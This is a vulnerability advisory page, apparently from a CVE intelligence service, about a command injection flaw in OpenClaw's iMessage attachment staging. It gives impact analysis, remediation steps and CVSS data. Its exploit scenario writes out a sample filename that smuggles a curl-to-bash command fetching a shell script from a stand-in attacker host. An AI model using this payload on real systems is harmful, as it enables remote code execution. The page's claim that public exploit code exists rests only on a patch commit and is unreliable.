Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend crafted iMessage with malicious attachment path
-
ExploitPath reaches SCP remote operand unsanitized
-
ExecutionShell metacharacters execute arbitrary commands
-
ImpactAttain remote code execution on configured host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | OpenClaw before 2026.3.13 with remote attachment staging enabled. Attacker must craft iMessage with malicious attachment path containing shell metacharacters. Remote SCP host must be configured. No authentication required; victim interaction minimal (receiving crafted iMessage). |
| Impact | This vulnerability presents critical real-world risk based on multiple converging factors. The CVSS 9.8 score reflects maximum exploitability: network-accessible attack vector (AV:N), low attack complexity (AC:L), no privileges required (PR:N), no user interaction (UI:N), and complete impact across confidentiality, integrity, and availability (C:H/I:H/A:H). Unauthenticated remote attackers can achieve full system compromise of any OpenClaw instance with remote attachment staging enabled, making this a 'one-click-to-root' scenario. While EPSS probability data is not provided in the intelligence feed, the combination of maximum CVSS severity, publicly available patch details (which reveal the vulnerability mechanics), and the straightforward nature of command injection exploitation suggests high likelihood of weaponization. The GitHub security advisory and commit reference provide sufficient technical detail for threat actors to reverse-engineer exploit code. No CISA KEV inclusion is noted, indicating no confirmed active exploitation at time of analysis, but the technical barriers to exploitation are minimal. The primary mitigating factor is the requirement that remote attachment staging must be explicitly enabled, which may limit the attack surface to specific deployment configurations rather than all OpenClaw installations. Organizations using OpenClaw in remote or distributed architectures with this feature enabled face immediate critical risk and should prioritize remediation. SSVC decision framework would classify this as high technical impact (total system compromise), low exploitation complexity (straightforward command injection), and high automatable potential (network-accessible, no authentication), warranting urgent action for affected deployments. |
| Exploit ScenarioDerived | An unauthenticated remote attacker crafts a malicious iMessage with a specially formatted attachment containing shell metacharacters in the filename or path metadata (for example, a filename like 'document.pdf; curl http://attacker.com/shell.sh | bash; #.pdf'). When this message is processed by a vulnerable OpenClaw instance with remote attachment staging enabled, the application constructs an SCP command incorporating the unsanitized attachment path. The shell interprets the embedded semicolons and command substitution syntax, executing the attacker's arbitrary commands (such as downloading and running a reverse shell) on the configured remote host with the privileges of the OpenClaw process. This achieves immediate remote code execution without requiring any authentication or user interaction beyond normal iMessage processing. Publicly available exploit code exists (patch commit reveals vulnerability mechanics), significantly lowering the technical skill required for exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 31, 2026
Remote command injection in OpenClaw's iMessage attachment staging mechanism (versions prior to 2026.3.13) allows unauthenticated network attackers to execute arbitrary commands on configured remote hosts via malicious attachment paths. The critical flaw stems from unsanitized shell metacharacters passed directly to SCP operations, achieving full system compromise (CVSS 9.8) when remote attachment staging is enabled. EPSS data and KEV status not provided; publicly available exploit code exists (GitHub commit demonstrates the fix, implying POC-level understanding in security community).
RemediationAI
Vendor-released patch: OpenClaw version 2026.3.13 or later. Organizations running affected versions should immediately upgrade to OpenClaw 2026.3.13, which implements proper input validation and sanitization of remote attachment paths before passing them to SCP operations. The specific remediation commit is available at https://github.com/openclaw/openclaw/commit/a54bf71b4c0cbe554a84340b773df37ee8e959de for technical review and verification. As an interim workaround for environments where immediate patching is not feasible, administrators should disable remote attachment staging functionality in OpenClaw configuration files until the upgrade can be completed. This workaround completely eliminates the attack vector but may impact operational workflows dependent on remote attachment processing. Network-level controls such as restricting access to OpenClaw instances via firewall rules or VPN requirements can reduce exposure but do not eliminate risk from internal threats or lateral movement scenarios. Post-upgrade, administrators should audit logs for suspicious SCP command execution patterns or unexpected remote command activity that may indicate prior exploitation attempts. Refer to the official GitHub security advisory (GHSA-g2f6-pwvx-r275) for additional vendor guidance and detection strategies.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects OpenClaw (cpe:2.3:a:openclaw:openclaw), manifesting as a CWE-78 OS Command Injection weakness. The flaw resides in the iMessage attachment staging workflow where the application constructs SCP (Secure Copy Protocol) commands to transfer attachments to remote hosts. The vulnerability occurs because user-controlled attachment path data-specifically remote attachment paths embedded in iMessage metadata-are concatenated into shell commands without proper input sanitization or validation. Shell metacharacters (such as semicolons, pipes, backticks, or command substitution syntax) embedded in these paths are interpreted by the underlying shell during SCP execution, breaking out of the intended command context. This is a classic example of improper neutralization of special elements used in OS commands, where the trust boundary between user input and system command execution is not enforced. The vulnerability requires remote attachment staging to be enabled in the OpenClaw configuration, suggesting this is an optional feature for distributed or cloud-based deployment scenarios.
Know when Openclaw gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (VulnCheck) · only source for this CVE.
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
OpenClaw before 2026.3.13 contains a remote command injection vulnerability in the iMessage attachment staging flow that allows attackers to execute arbitrary commands on configured remote hosts. The vulnerability exists because unsanitized remote attachment paths containing shell metacharacters are passed directly to the SCP remote operand without validation, enabling command execution when remote attachment staging is enabled.
Blast Radius
ecosystem impact- 9 npm packages depend on openclaw (5 direct, 4 indirect)
Ecosystem-wide dependent count for version 2026.3.13.
Executive ViewAI
OpenClaw versions prior to 2026.3.13 contain a critical remote command injection vulnerability in iMessage attachment handling that allows unauthenticated attackers to execute arbitrary commands on systems with remote attachment staging enabled, potentially compromising all affected infrastructure without authentication or user interaction. Organizations using OpenClaw for iMessage processing face immediate risk of complete system takeover and should prioritize patching to prevent unauthorized access and data exfiltration.
Apply vendor patch. If immediate patching is not feasible: (1) Disable remote attachment staging functionality until patch is deployed; (2) Implement network-level access controls restricting outbound SCP connections from affected OpenClaw hosts; (3) Deploy input validation/WAF rules to block shell metacharacters in attachment path parameters; (4) Isolate affected systems from production environments and sensitive data sources.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in OpenClaw Authorization and Command Injection Flaws
View all 22Auth bypass in OpenClaw voice-call extension before 2026.2.1. EPSS 0.68%. PoC and patch available.
OpenClaw versions 2026.2.22 through 2026.2.24 contain a privilege escalation vulnerability that allows authenticated att
An authorization mismatch vulnerability in OpenClaw versions prior to 2026.3.1 allows authenticated users with operator.
OpenClaw versions prior to 2026.1.29 automatically establish WebSocket connections to attacker-controlled gateway URLs e
Path traversal in OpenClaw through version 2026.3.23 enables unauthenticated remote attackers to read arbitrary files in
Authentication bypass in OpenClaw before 2026.5.3 allows remote attackers with low privileges to receive agent responses
Directory-context bypass in OpenClaw before 2026.8.1 allows authenticated attackers with user interaction to reuse an 'a
Unauthenticated access to the noVNC observer interface in OpenClaw's Docker sandbox browser allows anyone who can reach
Authentication bypass in OpenClaw's MCP loopback interface allows local low-privilege attackers to escalate to owner-lev
OpenClaw versions before 2026.2.26 allow authenticated attackers to write arbitrary files outside the workspace director
OpenClaw versions prior to 2026.2.22 contain a shell environment variable injection vulnerability in the system.run func
EUVD-2026-17371
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB